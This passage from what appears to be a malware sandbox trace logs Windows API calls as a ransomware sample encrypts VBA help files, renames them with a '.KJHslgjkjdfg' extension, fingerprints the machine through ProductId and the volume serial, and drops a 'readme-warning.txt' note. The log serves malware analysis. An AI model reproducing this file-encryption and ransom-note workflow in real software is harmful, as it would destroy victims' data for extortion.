lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.352] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.353] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe6b62, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0xe6b62, lpOverlapped=0x0) returned 1 [0190.366] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xe6b70, dwBufLen=0xe6b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xe6b70) returned 1 [0190.376] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.376] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0xe6b70, lpOverlapped=0x0) returned 1 [0190.379] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe6c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.379] SetEndOfFile (hFile=0xf0) returned 1 [0190.382] GetProcessHeap () returned 0x2ef0000 [0190.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.382] GetProcessHeap () returned 0x2ef0000 [0190.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.kjhslgjkjdfg")) returned 1 [0190.405] CloseHandle (hObject=0xf0) returned 1 [0190.405] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0190.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.406] GetProcessHeap () returned 0x2ef0000 [0190.406] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.406] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.406] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xc, lpOverlapped=0x0) returned 1 [0190.408] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.408] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.408] GetProcessHeap () returned 0x2ef0000 [0190.408] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.408] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0190.408] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.408] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0190.408] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.408] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.408] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.408] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.409] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.409] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e434, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x1e434, lpOverlapped=0x0) returned 1 [0190.410] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1e440, dwBufLen=0x1e440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1e440) returned 1 [0190.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.412] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x1e440, lpOverlapped=0x0) returned 1 [0190.412] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.412] SetEndOfFile (hFile=0xf0) returned 1 [0190.415] GetProcessHeap () returned 0x2ef0000 [0190.415] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.415] GetProcessHeap () returned 0x2ef0000 [0190.415] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.kjhslgjkjdfg")) returned 1 [0190.418] CloseHandle (hObject=0xf0) returned 1 [0190.418] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0190.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.419] GetProcessHeap () returned 0x2ef0000 [0190.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.419] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.419] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.419] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xa, lpOverlapped=0x0) returned 1 [0190.421] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.421] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.421] GetProcessHeap () returned 0x2ef0000 [0190.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.421] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0190.421] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.421] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0190.421] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.421] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.421] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.422] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.422] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.422] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.422] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x65c96, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x65c96, lpOverlapped=0x0) returned 1 [0190.428] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x65ca0, dwBufLen=0x65ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x65ca0) returned 1 [0190.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.431] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x65ca0, lpOverlapped=0x0) returned 1 [0190.432] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.432] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x65d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.433] SetEndOfFile (hFile=0xf0) returned 1 [0190.435] GetProcessHeap () returned 0x2ef0000 [0190.435] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.436] GetProcessHeap () returned 0x2ef0000 [0190.436] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.kjhslgjkjdfg")) returned 1 [0190.441] CloseHandle (hObject=0xf0) returned 1 [0190.441] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0190.441] GetProcessHeap () returned 0x2ef0000 [0190.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0190.441] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0190.441] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.441] GetProcessHeap () returned 0x2ef0000 [0190.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0190.442] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0190.442] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.442] GetProcessHeap () returned 0x2ef0000 [0190.442] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f11d10 [0190.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0190.442] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11d10, pdwDataLen=0x4dfeb98 | out: pbData=0x2f11d10, pdwDataLen=0x4dfeb98) returned 1 [0190.442] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.442] GetProcessHeap () returned 0x2ef0000 [0190.442] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0190.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0190.442] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0190.442] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.442] GetProcessHeap () returned 0x2ef0000 [0190.442] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0190.442] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0190.442] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.442] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0xf0) returned 0x0 [0190.442] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0190.443] RegCloseKey (hKey=0xf0) returned 0x0 [0190.443] GetProcessHeap () returned 0x2ef0000 [0190.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.443] GetProcessHeap () returned 0x2ef0000 [0190.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.443] GetProcessHeap () returned 0x2ef0000 [0190.443] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.443] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0190.443] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0190.443] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.443] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.443] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.443] GetProcessHeap () returned 0x2ef0000 [0190.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.443] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.443] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.443] GetProcessHeap () returned 0x2ef0000 [0190.444] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e278 [0190.444] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\readme-warning.txt") returned 79 [0190.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.445] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3e278*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f3e278*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0190.446] CloseHandle (hObject=0xf0) returned 1 [0190.446] GetProcessHeap () returned 0x2ef0000 [0190.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.446] GetProcessHeap () returned 0x2ef0000 [0190.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0190.446] GetProcessHeap () returned 0x2ef0000 [0190.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.446] GetProcessHeap () returned 0x2ef0000 [0190.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.446] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0190.446] GetProcessHeap () returned 0x2ef0000 [0190.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.447] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0190.447] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0190.447] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.447] GetProcessHeap () returned 0x2ef0000 [0190.447] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0190.447] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA7", cAlternateFileName="")) returned 0 [0190.447] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.447] GetProcessHeap () returned 0x2ef0000 [0190.447] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.447] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 